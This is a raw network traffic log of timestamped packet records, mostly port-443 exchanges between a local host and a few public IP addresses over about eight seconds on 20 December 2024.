Dec 20, 2024 20:30:39.228574038 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.245728970 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.247064114 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.279242992 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.422106028 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.438060045 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.438113928 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.443955898 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.443969965 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.444014072 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.459491968 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.474030018 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.475917101 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.478085041 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.578949928 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.594002008 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.595849037 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.598126888 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.614101887 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.661871910 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.803673983 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.803781986 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.803831100 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.806313992 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.881814003 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.948750973 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.978254080 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:39.978315115 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:39.996604919 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.005948067 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.049245119 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.068285942 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.109673977 CET	49673	443	192.168.2.8	23.206.229.226
Dec 20, 2024 20:30:40.116168976 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.125488997 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.196551085 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.223239899 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.308398962 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.309472084 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.317745924 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.320966005 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.343195915 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.429321051 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.477823019 CET	49672	443	192.168.2.8	23.206.229.226
Dec 20, 2024 20:30:40.508282900 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.665719986 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.711627007 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.795485973 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.827532053 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.828825951 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.829866886 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.831732035 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:40.915123940 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.947114944 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.948345900 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.949553013 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:40.951347113 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.110177994 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.115753889 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.143646955 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.144861937 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.144951105 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.145046949 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.148607969 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.149432898 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.150501966 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.235451937 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.269300938 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.270209074 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.271172047 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.302454948 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.306627035 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.461666107 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.465615034 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.467113018 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.467175961 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.467195988 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.467258930 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.470542908 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.470587969 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.493861914 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.493936062 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.497143984 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.593311071 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.653789043 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.658149958 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.785811901 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.789191008 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.789249897 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.789350986 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.789902925 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.792721987 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.793275118 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.845788956 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.845865011 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.849941969 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:41.884041071 CET	49676	443	192.168.2.8	52.182.143.211
Dec 20, 2024 20:30:41.913273096 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.957195997 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.970165968 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.977838993 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:41.986558914 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.105483055 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.105571985 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.109576941 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.110896111 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.110971928 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.110991955 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.111056089 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.113642931 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.114068031 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.233867884 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.303824902 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.304284096 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.304371119 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.311009884 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.311084986 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.426373005 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.429524899 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.429610014 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.429743052 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.431406975 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.432065964 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.433083057 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.433346033 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.552628040 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.597269058 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.626120090 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.635524988 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.744947910 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.745357990 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.748872042 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.749922991 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.750008106 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.750078917 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.755140066 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.779519081 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.780636072 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:42.861716986 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.862293959 CET	443	49703	23.206.229.226	192.168.2.8
Dec 20, 2024 20:30:42.862633944 CET	49703	443	192.168.2.8	23.206.229.226
Dec 20, 2024 20:30:42.868421078 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.899178982 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.900269985 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:42.914275885 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.040761948 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.060698986 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.060791969 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.091727018 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.092267036 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.096163034 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.096263885 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.096275091 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.096329927 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.096967936 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.099963903 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.105302095 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.106383085 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.160408974 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.216686010 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.219652891 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.224833965 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.225950956 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.356292009 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.397058964 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.411798954 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.417048931 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.417162895 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.421946049 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.422408104 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.422472000 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.658088923 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.703625917 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.720841885 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.722764015 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.722903013 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:43.780734062 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.823265076 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.840538979 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.842281103 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.842473030 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.972481966 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:43.980911016 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.032587051 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.032659054 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.037944078 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.038007975 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.038081884 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.046103954 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.048122883 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.049906015 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.100624084 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.164866924 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.164938927 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.166188955 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.167785883 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.169471979 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.170155048 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.289724112 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.356476068 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.360874891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.438071966 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.438141108 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.438508987 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.438584089 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.444509983 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.446105957 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.480781078 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.482294083 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.482379913 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.485214949 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.495088100 CET	49677	80	192.168.2.8	192.229.211.108
Dec 20, 2024 20:30:44.566849947 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.591964006 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.596035004 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.661423922 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.716938019 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.756696939 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.761127949 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.762382984 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.762451887 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.765894890 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.765955925 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.769615889 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.769687891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.881067038 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.889761925 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.889849901 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.906527042 CET	49714	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:30:44.906575918 CET	443	49714	142.250.181.132	192.168.2.8
Dec 20, 2024 20:30:44.906794071 CET	49714	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:30:44.907124043 CET	49714	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:30:44.907140017 CET	443	49714	142.250.181.132	192.168.2.8
Dec 20, 2024 20:30:44.908565044 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.912992001 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:44.954040051 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:44.958281040 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.077334881 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.078037977 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.082127094 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.087574005 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.087776899 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.087856054 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.093780994 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.094065905 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.094691038 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.213601112 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.257335901 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.270471096 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.274619102 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.278940916 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.279012918 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.282078028 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.394490004 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.402744055 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.410815954 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.410878897 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.410990000 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.422986984 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.424324036 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.463773012 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.469542027 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.543916941 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.605726004 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.609432936 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.654793978 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.671233892 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.740314007 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.740349054 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.740386963 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.740426064 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.797533989 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.838911057 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.892874956 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.893717051 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.908715010 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.932322979 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.984338999 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:45.989681959 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:45.989742994 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.006854057 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.007019997 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.016477108 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.075268984 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.126393080 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.126470089 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.210302114 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.216217995 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.222557068 CET	49716	443	192.168.2.8	216.58.208.227
Dec 20, 2024 20:30:46.222623110 CET	443	49716	216.58.208.227	192.168.2.8
Dec 20, 2024 20:30:46.222779036 CET	49716	443	192.168.2.8	216.58.208.227
Dec 20, 2024 20:30:46.223268032 CET	49717	443	192.168.2.8	216.58.208.227
Dec 20, 2024 20:30:46.223329067 CET	443	49717	216.58.208.227	192.168.2.8
Dec 20, 2024 20:30:46.223387957 CET	49717	443	192.168.2.8	216.58.208.227
Dec 20, 2024 20:30:46.223565102 CET	49716	443	192.168.2.8	216.58.208.227
Dec 20, 2024 20:30:46.223582029 CET	443	49716	216.58.208.227	192.168.2.8
Dec 20, 2024 20:30:46.223898888 CET	49717	443	192.168.2.8	216.58.208.227
Dec 20, 2024 20:30:46.223916054 CET	443	49717	216.58.208.227	192.168.2.8
Dec 20, 2024 20:30:46.225516081 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.225575924 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.229001999 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.318665981 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.323760986 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.323780060 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.323816061 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.330543041 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.334881067 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.335863113 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.341191053 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.348650932 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.451226950 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.454610109 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.461644888 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.531085968 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.534569025 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.604032040 CET	443	49714	142.250.181.132	192.168.2.8
Dec 20, 2024 20:30:46.604501963 CET	49714	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:30:46.604531050 CET	443	49714	142.250.181.132	192.168.2.8
Dec 20, 2024 20:30:46.605585098 CET	443	49714	142.250.181.132	192.168.2.8
Dec 20, 2024 20:30:46.605649948 CET	49714	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:30:46.607069969 CET	49714	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:30:46.607161999 CET	443	49714	142.250.181.132	192.168.2.8
Dec 20, 2024 20:30:46.642961025 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.646760941 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.646823883 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.646882057 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.649739027 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.651326895 CET	49714	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:30:46.651350021 CET	443	49714	142.250.181.132	192.168.2.8
Dec 20, 2024 20:30:46.653577089 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.655925035 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.658555031 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.697913885 CET	49714	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:30:46.765578985 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.765665054 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.766478062 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.769392014 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.769504070 CET	49705	443	192.168.2.8	13.107.246.63
Dec 20, 2024 20:30:46.775769949 CET	443	49705	13.107.246.63	192.168.2.8
Dec 20, 2024 20:30:46.890851974 CET	443	49705	13.107.246.63	192.168.2.8
